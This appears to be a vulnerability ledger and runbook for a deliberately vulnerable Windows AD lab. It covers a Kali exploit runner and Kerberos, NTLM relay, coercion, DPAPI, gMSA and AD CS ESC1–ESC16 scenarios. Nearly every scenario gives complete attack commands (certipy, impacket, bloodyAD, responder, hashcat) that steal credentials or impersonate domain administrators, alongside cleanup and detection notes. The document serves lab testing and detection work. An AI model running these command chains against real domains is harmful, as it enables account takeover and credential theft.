Vulnerabilities Check

Vulnerabilities Check

This page contains the vulnerability ledger and instructions for the Kali validation runner, scripts/thruntops-exploit.sh. The runner maps the 26 scenarios in scripts/thruntops-scenarios.py to live checks and documented exercises.

Scope and runtime status

This ledger records the intentionally vulnerable states provisionable in the ThruntOps Windows Server 2022 lab, how to enable them, and the exploitation procedures already documented for the lab. It consolidates the local ThruntOps AD roles and the supported scenarios from upstream badsectorlabs.ludus_adcs version 1.6.0.

Important: vulnerability scenarios are opt-in, manual, post-deployment profiles. They are not part of the normal range deployment and this file does not assert that any scenario is currently present in a live range. Check the selected range with the status command and verify the actual Windows/AD state before writing or running tests. Creating this ledger did not provision or modify a range.

Use these procedures only in an isolated lab you control. Several scenarios change persistent Active Directory, certificate-authority, Windows, or user state. Take a snapshot first. Passwords below are intentionally weak lab-only values; never reuse them elsewhere.

Lab identity and prerequisites

The default domain is thruntops.domain (NetBIOS: THRUNTOPS). In a 2022 range, the DC is 10.<range>.20.11, the workstation is 10.<range>.20.21, and Kali is 10.<range>.20.250. Replace <range> with the subnet number and <range_id> with the Ludus range ID. The ADCS CA is installed on the DC by the upstream role; its default common name is thruntops-CA.

Default baseline domain accounts are THRUNTOPS\domainadmin / password and THRUNTOPS\domainuser / password. These are Ludus defaults, not accounts created by an individual vulnerability scenario. The default local account is localuser / password.

Provisioning requirements:

  • The selected Ludus range is already deployed; do not use a full deployment to apply these profiles.
  • The Ludus CLI is configured for the range, Python 3 and PyYAML are installed, and all target VMs are running.
  • Run the scenario CLI from the ThruntOps repository root. Install dependencies if necessary with python3 -m pip install -r scripts/requirements.txt.
  • Each individual command below applies one scenario. The CLI previews the target roles and hosts and requires typing APPLY before modifying the range.
1
2
3
python3 scripts/thruntops-scenarios.py list
python3 scripts/thruntops-scenarios.py --range <range_id> status
python3 scripts/thruntops-scenarios.py --range <range_id> apply <scenario-name>

The status command reads the saved range configuration; it is not a live verification that a role succeeded or that a vulnerable state still exists. Scenario roles remain in the configuration after application. Setting a role flag to false does not undo changes already made on Windows or AD. See the individual cleanup notes and, when in doubt, restore the pre-test snapshot.

Kali validation runner

Copy or check out the ThruntOps repository on Kali and run commands from its root. The runner requires root because some checks use raw sockets. It installs missing dependencies by default; add --skip-deps to prevent package/tool installation. It creates timestamped logs and a JSON results file in the current directory.

Safety: --provision-check checks live provisioning state without running scenario exploits. Without that flag, the runner attempts the exploitation exercise for every selected scenario (all 26 by default). Several exercises change AD or CA state; use only in an isolated range you control, take a snapshot, and review the cleanup guidance first.

Check the runner and list its scenario names without connecting to a range:

1
./scripts/thruntops-exploit.sh --list-scenarios

Check which scenarios are live without exploiting them:

1
2
sudo ./scripts/thruntops-exploit.sh --range <range> --range-id <range_id> \
  --provision-check --skip-deps

To exercise a limited selection, explicitly pass only the scenarios you intend to test. This runs their exploitation functions; it is not a read-only check:

1
2
sudo ./scripts/thruntops-exploit.sh --range <range> --range-id <range_id> \
  --only asrep,kerberoasting --skip-deps

Use --help for supported options. The default action is a full chain across all scenarios, so do not run it unless you intend to exercise the entire lab. Provisioning and testing are separate: apply scenarios through the Vulnerability Provision workflow, then confirm live state here.

Local ThruntOps AD vulnerability scenarios

All local scenario roles default to disabled. Each row gives the CLI name, created identity/state, and provision command. Passwords are the role defaults.

Scenario Vulnerable state and lab-created identities Provision command
AS-REP roasting user.asrep (password1), Kerberos preauthentication disabled ... apply asrep
Timeroasting Enabled computer account computer.timeroasting$ (password1) ... apply timeroasting
Shadow Credentials Target user.shadowcred (password1); actor svc.shadowcred (password1) has WriteProperty only on the target’s msDS-KeyCredentialLink ... apply shadow-credentials
Kerberoasting svc.backup (password1) has an SPN, RC4 service tickets, and workstation local-admin rights ... apply kerberoasting
Targeted Kerberoasting admin.tier0 (trustno1) is in Domain Admins; svc.helpdesk (welcome1) has narrowly scoped WriteProperty on the target SPN ... apply targeted-kerberoasting
NTLM relay user.ntlmrelay (password1); DC LDAP signing/channel-binding protections and workstation SMB-signing requirement are relaxed ... apply ntlm-relay
MS-RPRN coercion user.coercion (password1); Print Spooler is enabled on the DC ... apply coercion
DPAPI secrets user.dpapi (password1); a CurrentUser-protected secret (password1) is stored in that user’s workstation profile ... apply dpapi
gMSA password access svc.gmsa; baseline domainuser is authorized to retrieve its managed password ... apply gmsa

In the commands below, set the connection variables in Kali:

1
2
3
export DC_IP=10.<range>.20.11
export WS_IP=10.<range>.20.21
export KALI_IP=10.<range>.20.250

AS-REP roasting

Vulnerability: user.asrep has Kerberos preauthentication disabled. The KDC returns password-derived authentication material without first requiring the user to authenticate. The response can be tested offline.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply asrep

Exploit from Kali:

1
impacket-GetNPUsers -dc-ip "$DC_IP" thruntops.domain/user.asrep -no-pass

Expected result: an AS-REP hash, commonly beginning $krb5asrep$. The profile password is password1; crack the captured hash offline, for example with Hashcat mode 18200 and rockyou.txt:

1
hashcat -m 18200 asrep-hash.txt /usr/share/wordlists/rockyou.txt

Cleanup: remove the test user or restore the snapshot.

Timeroasting

Vulnerability: unauthenticated SNTP requests can expose a response authenticated with a computer account’s password hash. The role creates the enabled computer account computer.timeroasting$ with deliberately weak password password1. The role sets this password only when the account has no initialized password; reapplying it does not rotate the password.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply timeroasting

Exploit from Kali: run the standalone Timeroast client and crack its output with Hashcat mode 31300 (MS-SNTP):

1
2
python3 timeroast.py "$DC_IP" > timeroast-hashes.txt
hashcat -m 31300 --username timeroast-hashes.txt /usr/share/wordlists/rockyou.txt

The output identifies accounts by RID; map the relevant RID to computer.timeroasting$ in AD when validating.

Cleanup: remove the test computer account or restore the snapshot.

Shadow Credentials

Vulnerability: the low-privilege actor can write the target’s msDS-KeyCredentialLink attribute. This allows a test key credential to be added and used for Key Trust authentication. The role grants an attribute-scoped WriteProperty ACE; it does not rely on implicit-owner behavior.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply shadow-credentials

Exploit from Kali:

1
2
pywhisker -d thruntops.domain -u svc.shadowcred -p 'password1' \
  --target user.shadowcred --action add --dc-ip "$DC_IP"

Expected result: PyWhisker adds a key credential and writes certificate/PFX material locally. Treat the generated private key and PFX as secrets. The target’s password is also password1. Use the generated PFX with a PKINIT client (for example, PKINITtools) to request a TGT for user.shadowcred.

Cleanup: record the Device ID printed by PyWhisker and remove only that entry using PyWhisker’s remove action; otherwise restore the snapshot.

DPAPI-protected secret

Vulnerability: the role creates user.dpapi and runs a task as that user on the Windows 11 workstation. The user’s profile contains %LOCALAPPDATA%\ThruntOps\dpapi-secret.txt, a CurrentUser-protected ConvertFrom-SecureString value. Both the profile password and secret default to password1.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply dpapi

Exploit: from a PowerShell session running as THRUNTOPS\user.dpapi on the workstation, decrypt the profile-bound value:

1
2
3
$blob = Get-Content "$env:LOCALAPPDATA\ThruntOps\dpapi-secret.txt" -Raw
$secure = ConvertTo-SecureString $blob
[System.Net.NetworkCredential]::new('', $secure).Password

Expected result: the plaintext lab secret password1.

Cleanup: remove the test user/profile artifacts or restore the workstation snapshot.

gMSA password access

Vulnerability: svc.gmsa is a group Managed Service Account whose password retrieval ACL deliberately includes the low-privilege baseline domainuser. This is an authorization misconfiguration, not a weak static password or a CVE.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply gmsa

The role creates a KDS root key only if the domain lacks one and backdates it by 10 hours for the single-DC lab. Do not use that shortcut in a multi-DC or production forest.

Exploit from Kali: use the configured baseline credentials with gMSADumper:

1
2
python3 gMSADumper.py -u domainuser -p 'password' \
  -d thruntops.domain -l "$DC_IP"

Expected result: the authorized managed-password blob for svc.gmsa. Do not expect a crackable static password.

Cleanup: remove svc.gmsa if it is not needed by other exercises. Retain a KDS root key that may be shared by other gMSAs; restore the snapshot for a complete reset.

Kerberoasting

Vulnerability: svc.backup has the SPN backupagent/win11-22h2-1.thruntops.domain, uses RC4, and is a local administrator on the workstation. Its password (password1) can be tested offline from a requested service ticket.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply kerberoasting

Exploit from Kali:

1
2
impacket-GetUserSPNs -dc-ip "$DC_IP" -request \
  'thruntops.domain/svc.backup:password1'

Expected result: a $krb5tgs$ ticket hash. Crack it offline, e.g. Hashcat mode 13100 for an RC4-HMAC TGS:

1
hashcat -m 13100 kerberoast-hash.txt /usr/share/wordlists/rockyou.txt

Cleanup: remove the test SPN/account or restore the snapshot.

Targeted Kerberoasting

Vulnerability: svc.helpdesk (welcome1) has a narrowly scoped WriteProperty grant on the servicePrincipalName attribute of admin.tier0 (trustno1), a Domain Admin. The tester temporarily assigns an SPN, requests a TGS and removes that SPN.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply targeted-kerberoasting

Exploit from Kali:

1
2
3
4
5
6
7
8
9
10
11
12
bloodyAD --host "$DC_IP" -d thruntops.domain \
  -u svc.helpdesk -p 'welcome1' \
  msldap addspn 'CN=admin.tier0,CN=Users,DC=thruntops,DC=domain' \
  'http/roast.thruntops.domain'

impacket-GetUserSPNs -dc-ip "$DC_IP" -request \
  'thruntops.domain/svc.helpdesk:welcome1'

bloodyAD --host "$DC_IP" -d thruntops.domain \
  -u svc.helpdesk -p 'welcome1' \
  msldap delspn 'CN=admin.tier0,CN=Users,DC=thruntops,DC=domain' \
  'http/roast.thruntops.domain'

Expected result: the TGS output contains a $krb5tgs$ hash; the default victim password is trustno1.

Cleanup: remove the temporary SPN even if the TGS request fails. Restore the snapshot if the SPN or ACL was not reset.

NTLM relay protections

Vulnerability: the role creates user.ntlmrelay (password1), relaxes LDAP signing and channel-binding settings on the DC, and stops requiring SMB signing on the workstation. This weakens relay protections; it does not itself create an inbound authentication or grant additional directory rights to a relayed identity.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply ntlm-relay

Exploit setup from Kali: target one lab service with Impacket:

1
2
3
impacket-ntlmrelayx -t "smb://$WS_IP" -smb2support
# In a separate test, target LDAP on the DC:
impacket-ntlmrelayx -t "ldap://$DC_IP"

The listener requires a separate authorized source of incoming NTLM. These commands alone do not produce a relay. Keep all source and targets inside the isolated lab.

Cleanup: restore the original DC LDAP signing/channel-binding and workstation SMB signing settings; restart affected services/hosts if needed, or restore the snapshot. Remove the scenario identity.

Authentication coercion (MS-RPRN)

Vulnerability: the role enables Print Spooler on the DC and creates user.coercion (password1) so MS-RPRN can induce an outbound authentication. This is an intentionally enabled service/configuration weakness, not a CVE. The outbound authentication is the DC machine account (THRUNTOPS$), not the user account; its managed secret is not crackable with rockyou.txt.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply coercion

Exploit/validate from Kali: start a lab capture listener, then trigger MS-RPRN with printerbug.py from krbrelayx:

1
sudo responder -I eth0

In another Kali terminal:

1
2
3
python3 printerbug.py \
  "THRUNTOPS/user.coercion:password1@${DC_IP}" \
  "$KALI_IP"

Expected result: the DC attempts NTLM authentication to Kali and the listener reports the computer account. For a relay test, use an authorized lab target and an appropriate relay listener instead of Responder.

Cleanup: restore the DC’s previous Print Spooler state and remove user.coercion, or restore the snapshot.

Upstream AD CS scenarios

The scenario CLI installs badsectorlabs.ludus_adcs 1.6.0 on the DC/CA and enables only the selected flag(s). Use the per-scenario command below. The default domain administrator is domainadmin / password; baseline requester is domainuser / password. Confirm actual CA/template names with Certipy if the range has been customized.

Set common Kali variables:

1
2
3
4
5
6
7
export DOMAIN=thruntops.domain
export NETBIOS=THRUNTOPS
export DC_IP=10.<range>.20.11
export CA_HOST=<range_id>-DC01-2022.thruntops.domain
export CA_NAME=thruntops-CA
export USER=domainuser
export PASSWORD=password

Use this to enumerate the CA/templates and confirm which scenarios are actually visible to the requester:

1
2
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -stdout -vulnerable
Scenario Provision command
ESC1 ... apply adcs-esc1
ESC2 ... apply adcs-esc2
ESC3 ... apply adcs-esc3
ESC3 CRA variant ... apply adcs-esc3-cra
ESC4 ... apply adcs-esc4
ESC5 ... apply adcs-esc5
ESC6 ... apply adcs-esc6
ESC7 ... apply adcs-esc7
ESC8 ... apply adcs-esc8
ESC9 ... apply adcs-esc9
ESC10 case 1 ... apply adcs-esc10-case1
ESC10 case 2 ... apply adcs-esc10-case2
ESC11 ... apply adcs-esc11
ESC13 ... apply adcs-esc13
ESC14 ... apply adcs-esc14
ESC15 ... apply adcs-esc15
ESC16 ... apply adcs-esc16

Here ... means python3 scripts/thruntops-scenarios.py --range <range_id>; for example: python3 scripts/thruntops-scenarios.py --range lab1 apply adcs-esc1. ESC12 and ESC17 are not supported by the CLI. ESC10 is exposed as two separate cases. The ADCS role is non-idempotent; disabling a flag does not remove templates, ACLs, registry changes, users, or issued certificates.

ESC1 — Enrollee-supplied subject

Vulnerability: the ESC1 template lets an enrollee supply identity fields and is usable for authentication. A low-privilege requester can request a certificate with a privileged account UPN.

Created identities: baseline domainuser / password; target domainadmin@thruntops.domain / password.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc1

Exploit from Kali:

1
2
3
4
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template ESC1 \
  -upn domainadmin@thruntops.domain
certipy auth -pfx domainadmin.pfx -dc-ip "$DC_IP"

Expected: Certipy issues a PFX whose UPN is domainadmin@thruntops.domain and, if certificate mapping permits, obtains a TGT. Add -sid <target-SID> only if required and accepted by the template/CA.

ESC2 — Any Purpose template

Vulnerability: the ESC2 certificate template has an overly broad certificate purpose. Its certificate can function as an enrollment-agent certificate, subject to CA and target-template enrollment-agent restrictions.

Created identities: baseline requester domainuser / password; target domainadmin / password.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc2

Exploit from Kali: obtain an agent certificate, request an authentication certificate on behalf of the domain administrator, then authenticate:

1
2
3
4
5
6
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template ESC2
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template User \
  -pfx domainuser.pfx -on-behalf-of "$NETBIOS\domainadmin"
certipy auth -pfx domainadmin.pfx -dc-ip "$DC_IP"

Expected: an agent PFX, then a certificate/TGT for domainadmin if the CA accepts agent enrollment. Template/CA restrictions can block this chain.

ESC3 — Certificate Request Agent

Vulnerability: the ESC3 template issues a certificate with Certificate Request Agent capability. It can be used to request a certificate for another user when the target template and CA permit agent enrollment.

Created identities: baseline requester domainuser / password; target domainadmin / password.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc3

Exploit from Kali:

1
2
3
4
5
6
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template ESC3
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template User \
  -pfx domainuser.pfx -on-behalf-of "$NETBIOS\domainadmin"
certipy auth -pfx domainadmin.pfx -dc-ip "$DC_IP"

For the ESC3_CRA variant, provision adcs-esc3-cra and use -template ESC3_CRA to obtain the agent certificate. Expected result is a certificate/TGT for domainadmin if agent enrollment is allowed.

ESC4 — Certificate-template ACL control

Vulnerability: Domain Users receive GenericAll over the ESC4 template. The template can be changed to an ESC1-like configuration, then used to request a certificate with a supplied privileged identity.

Created identities: baseline domainuser / password; target domainadmin / password.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc4

Exploit from Kali:

1
2
3
4
5
6
certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -template ESC4 -write-default-configuration
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template ESC4 \
  -upn domainadmin@thruntops.domain
certipy auth -pfx domainadmin.pfx -dc-ip "$DC_IP"

Expected: the template update and certificate issue succeed, followed by a TGT if mapping allows. Certipy saves the original template configuration; keep it for recovery or restore the pre-test snapshot. Turning the role flag off does not revert the template.

ESC5 — Upstream role’s ESC5 behavior

Intended vulnerability: weak permissions on the CA’s AD object. Actual behavior in upstream role 1.6.0 on this lab’s DC: it creates esc5user / ESC5password and adds that user to Domain Admins. This is a direct privileged group-membership shortcut; do not report it as proof of a CA-object ACL exploit.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc5

Validate from Kali:

1
2
certipy find -u "esc5user@$DOMAIN" -p 'ESC5password' \
  -dc-ip "$DC_IP" -target "$CA_HOST" -stdout -vulnerable

Expected: successful authentication/enumeration. Separately verify esc5user’s Domain Admins membership in AD. Treat the mismatch between the upstream ESC5 label and actual role behavior as important test data.

ESC6 — CA accepts request-supplied SAN

Vulnerability: the CA-wide EDITF_ATTRIBUTESUBJECTALTNAME2 flag lets a requester supply a SAN through request attributes even when a template does not allow it. Authentication impact depends on DC certificate-binding policy and other certificate extensions; issuance alone is not proof of impersonation.

Created identity: baseline domainuser / password; target domainadmin@thruntops.domain / password.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc6

Exploit from Kali:

1
2
3
4
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template User \
  -upn domainadmin@thruntops.domain
certipy auth -pfx domainadmin.pfx -dc-ip "$DC_IP"

Expected: a certificate containing the supplied SAN; a TGT only if the DC maps that certificate to the target. Restore the CA flag/snapshot.

ESC7 — CA manager and certificate manager permissions

Vulnerability: the CA manager can manage CA configuration/templates; the certificate manager can issue or deny requests. The role creates esc7_camgr_user and esc7_certmgr_user, both with ESC7password.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc7

Exploit from Kali: enable a template, submit a deliberately lab-scoped request, issue only that request, retrieve it, and authenticate. Replace <request_id> with Certipy’s request ID; if Certipy saves a private key after a denied enrollment request, retain it for retrieval.

1
2
3
4
5
6
7
8
9
10
11
certipy ca -u "esc7_camgr_user@$DOMAIN" -p 'ESC7password' \
  -dc-ip "$DC_IP" -target "$CA_HOST" -ca "$CA_NAME" -enable-template SubCA
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template SubCA \
  -upn domainadmin@thruntops.domain
certipy ca -u "esc7_certmgr_user@$DOMAIN" -p 'ESC7password' \
  -dc-ip "$DC_IP" -target "$CA_HOST" -ca "$CA_NAME" \
  -issue-request <request_id>
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -retrieve <request_id>
certipy auth -pfx domainadmin.pfx -dc-ip "$DC_IP"

Expected: the CA manager updates the published-template list; the certificate manager issues the specified request. SubCA may not be published by default. Never issue or approve an unrelated request. Restore CA state/snapshot.

ESC8 — NTLM relay to Web Enrollment

Vulnerability: the role enables the CA Web Enrollment endpoint without effective NTLM relay protections. A separate incoming NTLM authentication is required; the role does not generate one.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc8

Relay listener from Kali:

1
certipy relay -target "http://$CA_HOST" -template DomainController

Expected: Certipy listens for SMB NTLM and requests a certificate only after an authorized lab source authenticates. The source identity must be allowed to enroll in the chosen template. Do not relay production/third-party traffic. Stop the listener and revoke/remove lab certificates.

ESC9 — Template omits the SID security extension

Vulnerability: the ESC9 template omits the certificate SID security extension. The role also sets weak KDC binding and creates esc9user / ESC9password, granting Domain Users full control over that account. The UPN change must be temporary and restored to its exact pre-test value.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc9

Exploit from Kali: first record esc9user’s actual UPN in AD and set ESC9_ORIGINAL_UPN to that exact value. Then:

1
2
3
4
5
6
7
certipy account update -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -user esc9user -upn domainadmin@thruntops.domain
certipy req -u "esc9user@$DOMAIN" -p 'ESC9password' -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template ESC9
certipy account update -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -user esc9user -upn "$ESC9_ORIGINAL_UPN"
certipy auth -pfx esc9user.pfx -dc-ip "$DC_IP"

Expected: a certificate without the SID extension and, if binding permits, a TGT mapped to the requested identity. Restore the original UPN even if enrollment fails; remove certificate and restore snapshot.

ESC10 case 1 — Weak Kerberos certificate binding

Vulnerability: the role sets StrongCertificateBindingEnforcement=0 on the DC, creates the ESC10 no-SID-extension template, and creates esc10user / ESC10password with Domain Users full control. A temporary UPN change plus certificate issuance can be mapped by the KDC to another account.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc10-case1

Exploit from Kali: record the exact original UPN first and set ESC10_ORIGINAL_UPN accordingly:

1
2
3
4
5
6
7
certipy account update -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -user esc10user -upn domainadmin@thruntops.domain
certipy req -u "esc10user@$DOMAIN" -p 'ESC10password' -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template ESC10
certipy account update -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -user esc10user -upn "$ESC10_ORIGINAL_UPN"
certipy auth -pfx esc10user.pfx -dc-ip "$DC_IP"

Expected: a TGT for domainadmin if weak binding maps by UPN. Restore the UPN immediately and revert the DC registry change/snapshot.

ESC10 case 2 — Schannel UPN mapping

Vulnerability: CertificateMappingMethods=0x04 enables UPN-based Schannel mapping on the DC. The role creates esc10user / ESC10password with Domain Users full control. This is an LDAPS/Schannel flow, not the Kerberos/PKINIT case above.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc10-case2

Exploit from Kali: record the exact original UPN first and set ESC10_ORIGINAL_UPN accordingly:

1
2
3
4
5
6
7
certipy account update -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -user esc10user -upn domainadmin@thruntops.domain
certipy req -u "esc10user@$DOMAIN" -p 'ESC10password' -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template User
certipy account update -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -user esc10user -upn "$ESC10_ORIGINAL_UPN"
certipy auth -pfx esc10user.pfx -dc-ip "$DC_IP" -ldap-shell

Expected: the certificate’s UPN is mapped over LDAPS/Schannel. Restore the UPN and DC registry setting/snapshot immediately after the test.

ESC11 — RPC enrollment relay without encryption

Vulnerability: the CA RPC enrollment interface does not enforce encryption (packet privacy). Like ESC8, this is a relay opportunity, not a source of incoming NTLM authentication.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc11

Relay listener from Kali:

1
2
certipy relay -target "rpc://$CA_HOST" -ca "$CA_NAME" \
  -template DomainController

Expected: Certipy listens on SMB and can request a certificate only after it receives authorized lab NTLM authentication. Confirm the relayed principal can enroll in DomainController or select the correct template for that principal. Stop the listener, remove the issued test certificate, and restore the snapshot.

ESC13 — Issuance policy linked to a privileged group

Vulnerability: a certificate issuance policy is linked to esc13group; the role grants that group GenericAll over Enterprise Admins. It creates esc13user / ESC13password, group esc13group, and template ESC13.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc13

Exploit/validate from Kali:

1
2
3
certipy req -u "esc13user@$DOMAIN" -p 'ESC13password' -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template ESC13
certipy cert -pfx esc13user.pfx -text

Expected: the PFX contains the IssuancePolicyForESC13 OID. Verify the policy maps to esc13group and that certificate-backed authentication carries the policy-linked group authorization before testing the delegated group right. Remove test certificates/user/group or restore snapshot.

ESC14 — Explicit certificate mapping

Vulnerability: the role creates esc14user / ESC14password and esc14target / ESC14targetPassword, grants the actor GenericWrite on the target, weakens DC binding, and disables the CA SID extension. The actor can write altSecurityIdentities to map a certificate to the target.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc14

Exploit from Kali:

1
2
3
4
5
6
7
8
certipy req -u "esc14user@$DOMAIN" -p 'ESC14password' -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template User
certipy cert -pfx esc14user.pfx -text
bloodyAD -H "$DC_IP" -d "$DOMAIN" -u esc14user -p 'ESC14password' \
  msldap modify "CN=esc14target,CN=Users,DC=thruntops,DC=domain" \
  altSecurityIdentities 'X509:<S>CN=esc14user'
certipy auth -pfx esc14user.pfx -dc-ip "$DC_IP" \
  -username esc14target -domain "$DOMAIN"

Use the issued certificate’s exact subject in the mapping if it differs from CN=esc14user. Expected: the DC accepts the explicit mapping and authenticates the PFX as esc14target. Remove the mapping immediately, revoke/delete the certificate and restore CA/DC settings from a snapshot.

ESC15 — WebServer template / CVE-2024-49019

Vulnerability: the role grants Domain Users enrollment on the built-in WebServer template. On a vulnerable, unpatched CA, a V1 template that accepts supplied subjects can honor a requester-supplied Application Policy, such as Client Authentication, beyond the template’s normal EKU. Exploitability depends on CA patch level and template version/configuration.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc15

Exploit from Kali:

1
2
3
4
5
6
7
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -stdout -vulnerable
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template WebServer \
  -upn domainadmin@thruntops.domain \
  -application-policies 'Client Authentication'
certipy auth -pfx domainadmin.pfx -dc-ip "$DC_IP" -ldap-shell

Expected: on a vulnerable unpatched CA, the PFX contains the injected application policy; an LDAP shell authenticated as the target demonstrates impact. A patched CA should not honor the injected policy. Revert the template and remove the certificate.

ESC16 — CA-wide SID security extension disabled

Vulnerability: the role disables the CA’s SID security extension globally and sets weak KDC binding on the DC. It creates esc16user / ESC16password and grants Domain Users full control over the account. A temporary UPN change with a published client-auth template may then map a certificate to another identity.

Provision: python3 scripts/thruntops-scenarios.py --range <range_id> apply adcs-esc16

Exploit from Kali: record the exact original UPN first and set ESC16_ORIGINAL_UPN accordingly:

1
2
3
4
5
6
7
certipy account update -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -user esc16user -upn domainadmin@thruntops.domain
certipy req -u "esc16user@$DOMAIN" -p 'ESC16password' -dc-ip "$DC_IP" \
  -target "$CA_HOST" -ca "$CA_NAME" -template User
certipy account update -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" \
  -user esc16user -upn "$ESC16_ORIGINAL_UPN"
certipy auth -pfx esc16user.pfx -dc-ip "$DC_IP"

Expected: the certificate omits the SID extension and weak binding may allow UPN mapping to the target. Restore the original UPN even if enrollment fails; restore CA/DC settings, and revoke/delete the test certificate or restore a snapshot.

Detection, cleanup, and references

Run one scenario at a time and note the host, account, time and expected telemetry so SIEM tests can identify the corresponding activity. Certificate requests, Kerberos preauthentication/TGS requests, LDAP changes, NTLM authentication and service/registry changes may be relevant, depending on the scenario and enabled event collection.

ADCS role 1.6.0 and local scenario roles are not a general rollback system. Setting a role variable to false does not remove all created objects, issued certificates, registry changes, template ACLs or group membership. Restore temporary UPNs and SPNs immediately, remove test credentials/key credentials and mappings, stop relay listeners, and restore a known-clean snapshot for full reset. Preserve the KDS root key if other gMSAs depend on it.

Sources: ThruntOps docs/vulnerabilities.md, docs/adcs-scenarios.md, scripts/thruntops-scenarios.py, role defaults/tasks, and upstream Ludus ADCS role 1.6.0.